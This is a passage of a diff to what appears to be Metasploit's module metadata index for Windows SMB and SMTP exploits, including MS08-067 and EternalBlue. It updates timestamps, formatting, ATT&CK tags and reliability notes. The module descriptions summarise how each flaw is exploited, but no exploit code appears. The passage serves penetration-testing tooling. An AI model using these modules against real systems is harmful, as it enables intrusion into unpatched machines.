"2008-10-28", "type": "exploit", @@ -194552,7 +200000,7 @@ "frank2 ", "jduck " ], - "description": "This module exploits a parsing flaw in the path canonicalization code of\n NetAPI32.dll through the Server Service. This module is capable of bypassing\n NX on some operating systems and service packs. The correct target must be\n used to prevent the Server Service (along with a dozen others in the same\n process) from crashing. Windows XP targets seem to handle multiple successful\n exploitation events, but 2003 targets will often crash or hang on subsequent\n attempts. This is just the first version of this module, full support for\n NX bypass on 2003, along with other platforms, is still in development.", + "description": "This module exploits a parsing flaw in the path canonicalization code of\n NetAPI32.dll through the Server Service. This module is capable of bypassing\n NX on some operating systems and service packs. The correct target must be\n used to prevent the Server Service (along with a dozen others in the same\n process) from crashing. Windows XP targets seem to handle multiple successful\n exploitation events, but 2003 targets will often crash or hang on subsequent\n attempts. This is just the first version of this module, full support for\n NX bypass on 2003, along with other platforms, is still in development.", "references": [ "CVE-2008-4250", "OSVDB-49243", @@ -194654,7 +200102,7 @@ "Windows 2003 SP2 Swedish (NX)", "Windows 2003 SP2 Turkish (NX)" ], - "mod_time": "2023-07-10 16:54:42 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/smb/ms08_067_netapi.rb", "is_install_path": true, "ref_name": "windows/smb/ms08_067_netapi", @@ -194662,6 +200110,18 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "ECLIPSEDWING" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194669,9 +200129,7 @@ "exploit_windows/smb/ms09_050_smb2_negotiate_func_index": { "name": "MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", "fullname": "exploit/windows/smb/ms09_050_smb2_negotiate_func_index", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-09-07", "type": "exploit", @@ -194680,7 +200138,7 @@ "hdm ", "sf " ], - "description": "This module exploits an out of bounds function table dereference in the SMB\n request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\n release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista\n without SP1 does not seem affected by this flaw.", + "description": "This module exploits an out of bounds function table dereference in the SMB\n request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\n release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista\n without SP1 does not seem affected by this flaw.", "references": [ "MSB-MS09-050", "CVE-2009-3103", @@ -194702,7 +200160,7 @@ "targets": [ "Windows Vista SP1/SP2 and Server 2008 (x86)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb", "is_install_path": true, "ref_name": "windows/smb/ms09_050_smb2_negotiate_func_index", @@ -194710,6 +200168,18 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "EDUCATEDSCHOLAR" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194717,9 +200187,7 @@ "exploit_windows/smb/ms10_046_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/smb/ms10_046_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-16", "type": "exploit", @@ -194728,7 +200196,7 @@ "jduck ", "B_H" ], - "description": "This module exploits a vulnerability in the handling of Windows\n Shortcut files (.LNK) that contain an icon resource pointing to a\n malicious DLL. This creates an SMB resource to provide the payload\n inside a DLL, and generates a LNK file which must be sent to the\n target.", + "description": "This module exploits a vulnerability in the handling of Windows\n Shortcut files (.LNK) that contain an icon resource pointing to a\n malicious DLL. This creates an SMB resource to provide the payload\n inside a DLL, and generates a LNK file which must be sent to the\n target.", "references": [ "CVE-2010-2568", "OSVDB-66387", @@ -194738,16 +200206,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb", "is_install_path": true, "ref_name": "windows/smb/ms10_046_shortcut_icon_dllloader", @@ -194755,6 +200219,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194762,9 +200235,7 @@ "exploit_windows/smb/ms10_061_spoolss": { "name": "MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability", "fullname": "exploit/windows/smb/ms10_061_spoolss", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-09-14", "type": "exploit", @@ -194772,11 +200243,12 @@ "jduck ", "hdm " ], - "description": "This module exploits the RPC service impersonation vulnerability detailed in\n Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the\n StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service\n to create a file. The working directory at the time is %SystemRoot%\\system32.\n An attacker can specify any file name, including directory traversal or full paths.\n By sending WritePrinter requests, an attacker can fully control the content of\n the created file.\n\n In order to gain code execution, this module writes to a directory used by Windows\n Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)\n is periodically scanned and any new .mof files are processed automatically. This is\n the same technique employed by the Stuxnet code found in the wild.", + "description": "This module exploits the RPC service impersonation vulnerability detailed in\n Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the\n StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service\n to create a file. The working directory at the time is %SystemRoot%\\system32.\n An attacker can specify any file name, including directory traversal or full paths.\n By sending WritePrinter requests, an attacker can fully control the content of\n the created file.\n\n In order to gain code execution, this module writes to a directory used by Windows\n Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)\n is periodically scanned and any new .mof files are processed automatically. This is\n the same technique employed by the Stuxnet code found in the wild.", "references": [ "OSVDB-67988", "CVE-2010-2729", - "MSB-MS10-061" + "MSB-MS10-061", + "URL-https://www.tenable.com/plugins/nessus/49219" ], "platform": "Windows", "arch": "", @@ -194792,7 +200264,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2021-01-13 11:51:16 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/smb/ms10_061_spoolss.rb", "is_install_path": true, "ref_name": "windows/smb/ms10_061_spoolss", @@ -194800,6 +200272,16 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "EMERALTHREAD" + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -194807,9 +200289,7 @@ "exploit_windows/smb/ms15_020_shortcut_icon_dllloader": { "name": "Microsoft Windows Shell LNK Code Execution", "fullname": "exploit/windows/smb/ms15_020_shortcut_icon_dllloader", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-10", "type": "exploit", @@ -194817,7 +200297,7 @@ "Michael Heerklotz", "juan vazquez " ], - "description": "This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling\n of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious\n DLL. This creates an SMB resource to provide the payload and the trigger, and generates a\n LNK file which must be sent to the target. This module has been tested successfully on\n Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027\n installed.", + "description": "This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling\n of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious\n DLL. This creates an SMB resource to provide the payload and the trigger, and generates a\n LNK file which must be sent to the target. This module has been tested successfully on\n Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027\n installed.", "references": [ "CVE-2015-0096", "MSB-MS15-020", @@ -194827,16 +200307,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb", "is_install_path": true, "ref_name": "windows/smb/ms15_020_shortcut_icon_dllloader", @@ -194844,6 +200320,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194881,17 +200366,16 @@ "CVE-2017-0148", "URL-https://github.com/RiskSense-Ops/MS17-010", "URL-https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf", - "EDB-42030" + "EDB-42030", + "ATT&CK-T1059", + "ATT&CK-T1068", + "ATT&CK-T1210" ], "platform": "Windows", "arch": "x64", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target", "Windows 7", @@ -194903,7 +200387,7 @@ "Windows 10 Pro", "Windows 10 Enterprise Evaluation" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb", "is_install_path": true, "ref_name": "windows/smb/ms17_010_eternalblue", @@ -194913,6 +200397,15 @@ "notes": { "AKA": [ "ETERNALBLUE" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -194921,9 +200414,7 @@ "exploit_windows/smb/ms17_010_psexec": { "name": "MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution", "fullname": "exploit/windows/smb/ms17_010_psexec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-14", "type": "exploit", @@ -194933,7 +200424,7 @@ "Shadow Brokers", "Equation Group" ], - "description": "This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where\n primitive. This will then be used to overwrite the connection session information with as an\n Administrator session. From there, the normal psexec payload code execution is done.\n\n Exploits a type confusion between Transaction and WriteAndX requests and a race condition in\n Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy\n exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a\n named pipe.", + "description": "This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where\n primitive. This will then be used to overwrite the connection session information with as an\n Administrator session. From there, the normal psexec payload code execution is done.\n\n Exploits a type confusion between Transaction and WriteAndX requests and a race condition in\n Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy\n exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a\n named pipe.", "references": [ "MSB-MS17-010", "CVE-2017-0143", @@ -194941,7 +200432,12 @@ "CVE-2017-0147", "URL-https://github.com/worawit/MS17-010", "URL-https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf", - "URL-https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/" + "URL-https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/", + "ATT&CK-T1021.002", + "ATT&CK-T1059", + "ATT&CK-T1059.001", + "ATT&CK-T1077", + "ATT&CK-T1569.002" ], "platform": "Windows", "arch": "x86, x64", @@ -194960,7 +200456,7 @@ "Native upload", "MOF upload" ], - "mod_time": "2021-06-03 11:43:09 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/smb/ms17_010_psexec.rb", "is_install_path": true, "ref_name": "windows/smb/ms17_010_psexec", @@ -194973,6 +200469,15 @@ "ETERNALROMANCE", "ETERNALCHAMPION", "ETERNALBLUE" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -194981,9 +200486,7 @@ "exploit_windows/smb/netidentity_xtierrpcpipe": { "name": "Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow", "fullname": "exploit/windows/smb/netidentity_xtierrpcpipe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-04-06", "type": "exploit", @@ -194991,7 +200494,7 @@ "MC ", "Ruben Santamarta" ], - "description": "This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending\n a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be\n able to execute arbitrary code. The success of this module is much greater once the\n service has been restarted.", + "description": "This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending\n a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be\n able to execute arbitrary code. The success of this module is much greater once the\n service has been restarted.", "references": [ "CVE-2009-1350", "OSVDB-53351", @@ -195012,7 +200515,7 @@ "targets": [ "Windows 2000 / Windows XP / Windows 2003" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb", "is_install_path": true, "ref_name": "windows/smb/netidentity_xtierrpcpipe", @@ -195020,6 +200523,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195027,9 +200539,7 @@ "exploit_windows/smb/psexec": { "name": "Microsoft Windows Authenticated User Code Execution", "fullname": "exploit/windows/smb/psexec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "1999-01-01", "type": "exploit", @@ -195038,13 +200548,21 @@ "Royce Davis ", "RageLtMan " ], - "description": "This module uses a valid administrator username and password (or\n password hash) to execute an arbitrary payload. This module is similar\n to the \"psexec\" utility provided by SysInternals. This module is now able\n to clean up after itself. The service created by this tool uses a randomly\n chosen name and description.", + "description": "This module uses a valid administrator username and password (or\n password hash) to execute an arbitrary payload. This module is similar\n to the \"psexec\" utility provided by SysInternals. This module is now able\n to clean up after itself. The service created by this tool uses a randomly\n chosen name and description.", "references": [ "CVE-1999-0504", "OSVDB-3106", "URL-http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", "URL-https://www.optiv.com/blog/owning-computers-without-shell-access", - "URL-http://sourceforge.net/projects/smbexec/" + "URL-http://sourceforge.net/projects/smbexec/", + "ATT&CK-T1021.002", + "ATT&CK-T1569.002", + "ATT&CK-T1059", + "ATT&CK-T1059.001", + "ATT&CK-T1059.003", + "ATT&CK-T1077", + "ATT&CK-T1078", + "ATT&CK-T1105" ], "platform": "Windows", "arch": "", @@ -195064,7 +200582,7 @@ "MOF upload", "Command" ], - "mod_time": "2024-12-16 14:55:10 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/smb/psexec.rb", "is_install_path": true, "ref_name": "windows/smb/psexec", @@ -195072,21 +200590,26 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "smb" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/smb/smb_delivery": { "name": "SMB Delivery", "fullname": "exploit/windows/smb/smb_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-26", "type": "exploit", @@ -195094,24 +200617,20 @@ "Andrew Smith", "Russel Van Tuyl" ], - "description": "This module serves payloads via an SMB server and provides commands to retrieve\n and execute the generated payloads. Currently supports DLLs and Powershell.", + "description": "This module serves payloads via an SMB server and provides commands to retrieve\n and execute the generated payloads. Currently supports DLLs and Powershell.", "references": [ "URL-https://github.com/rapid7/metasploit-framework/pull/3074" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DLL", "PSH" ], - "mod_time": "2022-05-11 12:40:43 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/smb_delivery.rb", "is_install_path": true, "ref_name": "windows/smb/smb_delivery", @@ -195119,6 +200638,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195140,7 +200668,7 @@ "wvu ", "Jacob Robles" ], - "description": "This module executes a Metasploit payload against the Equation Group's\n DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.\n\n While this module primarily performs code execution against the implant,\n the \"Neutralize implant\" target allows you to disable the implant.", + "description": "This module executes a Metasploit payload against the Equation Group's\n DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.\n\n While this module primarily performs code execution against the implant,\n the \"Neutralize implant\" target allows you to disable the implant.", "references": [ "MSB-MS17-010", "CVE-2017-0143", @@ -195171,7 +200699,7 @@ "Execute payload (x64)", "Neutralize implant" ], - "mod_time": "2023-09-15 16:40:22 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/smb/smb_doublepulsar_rce.rb", "is_install_path": true, "ref_name": "windows/smb/smb_doublepulsar_rce", @@ -195192,9 +200720,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -195202,9 +200728,7 @@ "exploit_windows/smb/smb_relay": { "name": "MS08-068 Microsoft Windows SMB Relay Code Execution", "fullname": "exploit/windows/smb/smb_relay", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-03-31", "type": "exploit", @@ -195242,11 +200766,11 @@ "MOF upload", "Command" ], - "mod_time": "2024-10-23 11:17:22 +0000", + "mod_time": "2024-11-12 09:14:51 +0000", "path": "/modules/exploits/windows/smb/smb_relay.rb", "is_install_path": true, "ref_name": "windows/smb/smb_relay", - "check": false, + "check": true, "post_auth": false, "default_credential": false, "notes": { @@ -195278,9 +200802,7 @@ "exploit_windows/smb/smb_rras_erraticgopher": { "name": "Microsoft Windows RRAS Service MIBEntryGet Overflow", "fullname": "exploit/windows/smb/smb_rras_erraticgopher", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2017-06-13", "type": "exploit", @@ -195353,9 +200875,7 @@ "exploit_windows/smb/smb_shadow": { "name": "Microsoft Windows SMB Direct Session Takeover", "fullname": "exploit/windows/smb/smb_shadow", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-02-16", "type": "exploit", @@ -195369,12 +200889,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -195403,16 +200919,14 @@ "exploit_windows/smb/timbuktu_plughntcommand_bof": { "name": "Timbuktu PlughNTCommand Named Pipe Buffer Overflow", "fullname": "exploit/windows/smb/timbuktu_plughntcommand_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-25", "type": "exploit", "author": [ "bannedit " ], - "description": "This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6\n in a pretty novel way.\n\n This exploit requires two connections. The first connection is used to leak stack data\n using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying\n a large value for this argument it is possible to cause Timbuktu to reply to the initial\n request with leaked stack data. Using this data allows for reliable exploitation of the\n buffer overflow vulnerability.\n\n Props to Infamous41d for helping in finding this exploitation path.\n\n The second connection utilizes the data from the data leak to accurately exploit\n the stack based buffer overflow vulnerability.\n\n TODO:\n hdm suggested using meterpreter's migration capability and restarting the process\n for multishot exploitation.", + "description": "This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6\n in a pretty novel way.\n\n This exploit requires two connections. The first connection is used to leak stack data\n using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying\n a large value for this argument it is possible to cause Timbuktu to reply to the initial\n request with leaked stack data. Using this data allows for reliable exploitation of the\n buffer overflow vulnerability.\n\n Props to Infamous41d for helping in finding this exploitation path.\n\n The second connection utilizes the data from the data leak to accurately exploit\n the stack based buffer overflow vulnerability.\n\n TODO:\n hdm suggested using meterpreter's migration capability and restarting the process\n for multishot exploitation.", "references": [ "CVE-2009-1394", "OSVDB-55436", @@ -195433,7 +200947,7 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb", "is_install_path": true, "ref_name": "windows/smb/timbuktu_plughntcommand_bof", @@ -195441,6 +200955,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195448,16 +200971,14 @@ "exploit_windows/smb/webexec": { "name": "WebExec Authenticated User Code Execution", "fullname": "exploit/windows/smb/webexec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-24", "type": "exploit", "author": [ "Ron " ], - "description": "This module uses a valid username and password of any level (or\n password hash) to execute an arbitrary payload. This module is similar\n to the \"psexec\" module, except allows any non-guest account by default.", + "description": "This module uses a valid username and password of any level (or\n password hash) to execute an arbitrary payload. This module is similar\n to the \"psexec\" module, except allows any non-guest account by default.", "references": [ "URL-https://webexec.org", "CVE-2018-15442" @@ -195477,7 +200998,7 @@ "Automatic", "Native upload" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/webexec.rb", "is_install_path": true, "ref_name": "windows/smb/webexec", @@ -195485,6 +201006,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195492,16 +201022,14 @@ "exploit_windows/smtp/mailcarrier_smtp_ehlo": { "name": "TABS MailCarrier v2.51 SMTP EHLO Overflow", "fullname": "exploit/windows/smtp/mailcarrier_smtp_ehlo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-10-26", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits the MailCarrier v2.51 suite SMTP service.\n The stack is overwritten when sending an overly long EHLO command.", + "description": "This module exploits the MailCarrier v2.51 suite SMTP service.\n The stack is overwritten when sending an overly long EHLO command.", "references": [ "CVE-2004-1638", "OSVDB-11174", @@ -195511,17 +201039,13 @@ "platform": "Windows", "arch": "x86", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0 - XP SP1 - EN/FR/GR", "Windows XP SP2 - EN" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb", "is_install_path": true, "ref_name": "windows/smtp/mailcarrier_smtp_ehlo", @@ -195529,6 +201053,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195536,16 +201069,14 @@ "exploit_windows/smtp/mercury_cram_md5": { "name": "Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow", "fullname": "exploit/windows/smtp/mercury_cram_md5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-08-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.\n By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker\n may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.\n By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker\n may be able to execute arbitrary code.", "references": [ "CVE-2007-4440", "OSVDB-39669", @@ -195554,16 +201085,12 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mercury Mail Transport System 4.51" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/mercury_cram_md5.rb", "is_install_path": true, "ref_name": "windows/smtp/mercury_cram_md5", @@ -195571,6 +201098,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195578,9 +201114,7 @@ "exploit_windows/smtp/ms03_046_exchange2000_xexch50": { "name": "MS03-046 Exchange 2000 XEXCH50 Heap Overflow", "fullname": "exploit/windows/smtp/ms03_046_exchange2000_xexch50", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-10-15", "type": "exploit", @@ -195588,7 +201122,7 @@ "hdm ", "aushack " ], - "description": "This is an exploit for the Exchange 2000 heap overflow. Due\n to the nature of the vulnerability, this exploit is not very\n reliable. This module has been tested against Exchange 2000\n SP0 and SP3 running a Windows 2000 system patched to SP4. It\n normally takes between one and 100 connection attempts to\n successfully obtain a shell. This exploit is *very* unreliable.", + "description": "This is an exploit for the Exchange 2000 heap overflow. Due\n to the nature of the vulnerability, this exploit is not very\n reliable. This module has been tested against Exchange 2000\n SP0 and SP3 running a Windows 2000 system patched to SP4. It\n normally takes between one and 100 connection attempts to\n successfully obtain a shell. This exploit is *very* unreliable.", "references": [ "CVE-2003-0714", "BID-8838", @@ -195599,16 +201133,12 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Exchange 2000" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb", "is_install_path": true, "ref_name": "windows/smtp/ms03_046_exchange2000_xexch50", @@ -195616,6 +201146,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195623,16 +201162,14 @@ "exploit_windows/smtp/njstar_smtp_bof": { "name": "NJStar Communicator 3.00 MiniSMTP Buffer Overflow", "fullname": "exploit/windows/smtp/njstar_smtp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-31", "type": "exploit", "author": [ "Dillon Beresford" ], - "description": "This module exploits a stack buffer overflow vulnerability in NJStar Communicator\n Version 3.00 MiniSMTP server. The MiniSMTP application can be seen in multiple\n NJStar products, and will continue to run in the background even if the\n software is already shutdown. According to the vendor's testimonials,\n NJStar software is also used by well known companies such as Siemens, NEC,\n Google, Yahoo, eBay; government agencies such as the FBI, Department of\n Justice (HK); as well as a long list of universities such as Yale, Harvard,\n University of Tokyo, etc.", + "description": "This module exploits a stack buffer overflow vulnerability in NJStar Communicator\n Version 3.00 MiniSMTP server. The MiniSMTP application can be seen in multiple\n NJStar products, and will continue to run in the background even if the\n software is already shutdown. According to the vendor's testimonials,\n NJStar software is also used by well known companies such as Siemens, NEC,\n Google, Yahoo, eBay; government agencies such as the FBI, Department of\n Justice (HK); as well as a long list of universities such as Yale, Harvard,\n University of Tokyo, etc.", "references": [ "OSVDB-76728", "CVE-2011-4040", @@ -195642,18 +201179,14 @@ "platform": "Windows", "arch": "", "rport": 25, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3", "Windows Server 2003 SP0", "Windows Server 2003 SP1/SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smtp/njstar_smtp_bof.rb", "is_install_path": true, "ref_name": "windows/smtp/njstar_smtp_bof", @@ -195661,6 +201194,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -195668,9 +201210,7 @@ "exploit_windows/smtp/sysgauge_client_bof": { "name": "SysGauge SMTP Validation Buffer Overflow", "fullname": "exploit/windows/smtp/sysgauge_client_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-28", "type": "exploit", @@ -195686,40 +201226,33 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2018-07-12 17:34:52 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/smtp/sysgauge_client_bof.rb", "is_install_path": true, "ref_name": "windows/smtp/sysgauge_client_bof", "check": false, "post_auth": false, 